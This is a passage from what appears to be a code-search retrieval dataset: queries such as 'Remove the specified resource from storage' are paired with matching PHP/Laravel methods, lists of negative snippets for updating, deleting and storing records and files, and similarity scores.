}", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { try { StorageEvents::destroy($id); return $this->redirect('events.index'); } catch(ModelNotFoundException $e) { return $this->redirectNotFound(); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
You need to specify the foreign key name
public function getAuthorOfArticle() { // Because it infers from the METHOD NAME! return $this->belongsTo('App\Models\User', 'user_id'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getForeignKey($name);", "public function getForeignKey();", "public function getForeignKey()\n {\n return 'owner_id';\n }", "protected function addForeignKeyConstraints()\n {\n \n \n }", "public function getForeignKey()\n {\n return 'nonmember_id';\n }", "public function addForeignKeys()\n\t{\n\t\t$table = $this->getTableName();\n\n\t\tforeach ($this->getBelongsToRelations() as $name => $config)\n\t\t{\n\t\t\t$otherModel = new $config[1];\n\t\t\t$otherTable = $otherModel->getTableName();\n\t\t\t$fkName = \"{$table}_{$name}_fk\";\n\n\t\t\tif (isset($config['onDelete']))\n\t\t\t{\n\t\t\t\t$onDelete = $config['onDelete'];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (empty($config['required']))\n\t\t\t\t{\n\t\t\t\t\t$onDelete = static::SET_NULL;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$onDelete = null;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tblx()->db->createCommand()->addForeignKey($fkName, $table, $config[2], $otherTable, 'id', $onDelete);\n\t\t}\n\t}", "public function getForeignKey()\n {\n return 'user_id';\n }", "public function getQualifiedForeignKeyName()\n {\n return $this->foreignKey;\n }", "public function addForeignKey($tableName, $schemaName, $reference){ }", "public function getForeignKeyName() {\n return $this->foreignKeyName;\n }", "public function getForeignKeys(){\n \n }", "public function getForeignKey()\n {\n return $this->getTableSingular().'_'.$this->getKeyName();\n }", "public function foreignConstraint();", "public function getForeignKey(): string\n {\n return $this->foreignKey;\n }", "public function belongsTo($class, $foreignKey = null, $otherKey = null);", "public function getForeignKey()\n {\n return str_singular($this->getTable()).'_id';\n }", "public function getForeignKey()\n {\n return 'match_id';\n }", "public function setForeignKeyName($foreignKey) {\n $this->foreignKeyName = $foreignKey;\n }", "public function getForeignKey()\n {\n return $this->foreignKey;\n }", "public function getForeignKey()\n {\n return $this->foreignKey;\n }", "public function getForeignKey()\n {\n return $this->foreignKey;\n }", "public function getForeignKey()\n {\n return $this->table . '.' . $this->foreignKey;\n }", "public function getForeignKey()\n {\n return $this->primaryKey;\n }", "public static function foreignKey($class_name) {\n return self::underscore($class_name) . \"_id\";\n }", "protected function addForeignKeys()\n {\n // TargetRecord\n $this->addForeignKey(\n $this->db->getForeignKeyName(InitiativeRecord::tableName(), 'id'),\n InitiativeRecord::tableName(),\n 'id',\n ElementRecord::tableName(),\n 'id',\n 'CASCADE'\n );\n\n // TargetRecord\n $this->addForeignKey(\n $this->db->getForeignKeyName(TargetRecord::tableName(), 'elementId'),\n TargetRecord::tableName(),\n 'elementId',\n InitiativeRecord::tableName(),\n 'id',\n 'CASCADE'\n );\n $this->addForeignKey(\n $this->db->getForeignKeyName(TargetRecord::tableName(), 'userId'),\n TargetRecord::tableName(),\n 'userId',\n UserRecord::tableName(),\n 'id',\n 'CASCADE'\n );\n }", "public function getQualifiedForeignKeyName(): string\n {\n return $this->related->getQualifiedKeyName();\n }", "protected function _checkForeignKeysReverseCascade() {}", "public function getForeignKey()\n {\n return 'store_id';\n }", "public function testFkExists()\n {\n $this->assertTrue($this->connection->foreignKeyExists('writers', 'writer_period'));\n $this->assertFalse($this->connection->foreignKeyExists('writers', 'unknown FK'));\n }", "public function dropForeignKeys()\n\t{\n\t\t$table = $this->getTableName();\n\n\t\t// Does the table exist?\n\t\tif (blx()->db->getSchema()->getTable('{{'.$table.'}}'))\n\t\t{\n\t\t\tforeach ($this->getBelongsToRelations() as $name => $config)\n\t\t\t{\n\t\t\t\t$otherModel = new $config[1];\n\t\t\t\t$otherTable = $otherModel->getTableName();\n\n\t\t\t\t// Does the other table exist?\n\t\t\t\tif (blx()->db->getSchema()->getTable('{{'.$otherTable.'}}'))\n\t\t\t\t{\n\t\t\t\t\t$fkName = \"{$table}_{$name}_fk\";\n\t\t\t\t\tblx()->db->createCommand()->dropForeignKey($fkName, $table);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function getFk()\n {\n return $this->_fk;\n }", "protected function addForeignKeyConstraints()\n {\n $sApptTableName = $this->tablePrefix .'bm_appointment';\n \n $this->table->addForeignKeyConstraint($sApptTableName, ['appointment_id'], ['appointment_id'], [\"onDelete\" => \"CASCADE\"], null);\n \n $sSurchargeTableName = $this->tablePrefix .'bm_order_surcharge';\n \n $this->table->addForeignKeyConstraint($sSurchargeTableName, ['surcharge_id'], ['surcharge_id'], [\"onDelete\" => \"CASCADE\"], null);\n\n }", "public function enableForeignKeyConstraints($connection);", "protected function associated_key()\n {\n return $this->model->table() . '.' . $this->model->key();\n }", "public function author(){\n return $this->belongsTo(User::class, 'user_id');//Overriding the key column name in the db that the post has \n }", "private function warnForSimpleRelations()\n {\n $this->warn(\"\\n| Eloquent determines the foreign key of the relationship based on the model name.\\n| In this case, the {$this->child} model is automatically assumed to have a \" . Str::lower($this->parent) . \"_id foreign key.\\n\");\n }", "public function getForeignKey()\r\n\t{\r\n\t return $this->_aForeignKey;\r\n\t}", "public function getForeignTable()\n {\n return $this->foreignTable;\n }", "public function getForeignKey()\n {\n if (is_null($this->_foreignKey)) {\n $this->_foreignKey = strtolower($this->_entity->getAlias()) .\n \"_id\";\n }\n return $this->_foreignKey;\n }", "public function isForeignKey()\n {\n\treturn false;\n }", "public function testForeignKeyWithName()\n {\n $statement = (new CreateTable($this->mockConnection));\n $return = $statement->foreignKey('column', 'table', 'id', null, null, 'name');\n $array = $statement->toArray();\n\n $this->assertInstanceOf(CreateTable::class, $return);\n $this->assertEquals([\n 'constraints' => [\n [\n 'type' => 'foreignKey',\n 'name' => 'name',\n 'columns' => ['column'],\n 'referenceTable' => 'table',\n 'referenceColumns' => ['id'],\n 'onDelete' => null,\n 'onUpdate' => null,\n ]\n ],\n ], $array);\n }", "protected function other_key()\n {\n return Relationship::foreign($this->model, $this->other);\n }", "abstract protected function addForeignKeys(&$script);", "public function name(): string\n {\n return 'belongsTo';\n }", "public function initialize()\n {\n $this->belongsTo('Cd_produto', 'App\\Models\\Produto', 'cd_produto', array('alias' => 'Produto'));\n $this->belongsTo('Cd_produto', 'App\\Models\\Produto', 'cd_produto', array('foreignKey' => true,'alias' => 'Produto'));\n }", "public function addforeign($table,$coloum,$reltable,$key)\n\t{\n\t\tglobal $database;\n\t\t$sql=\"ALTER TABLE \" .$table. \" ADD FOREIGN 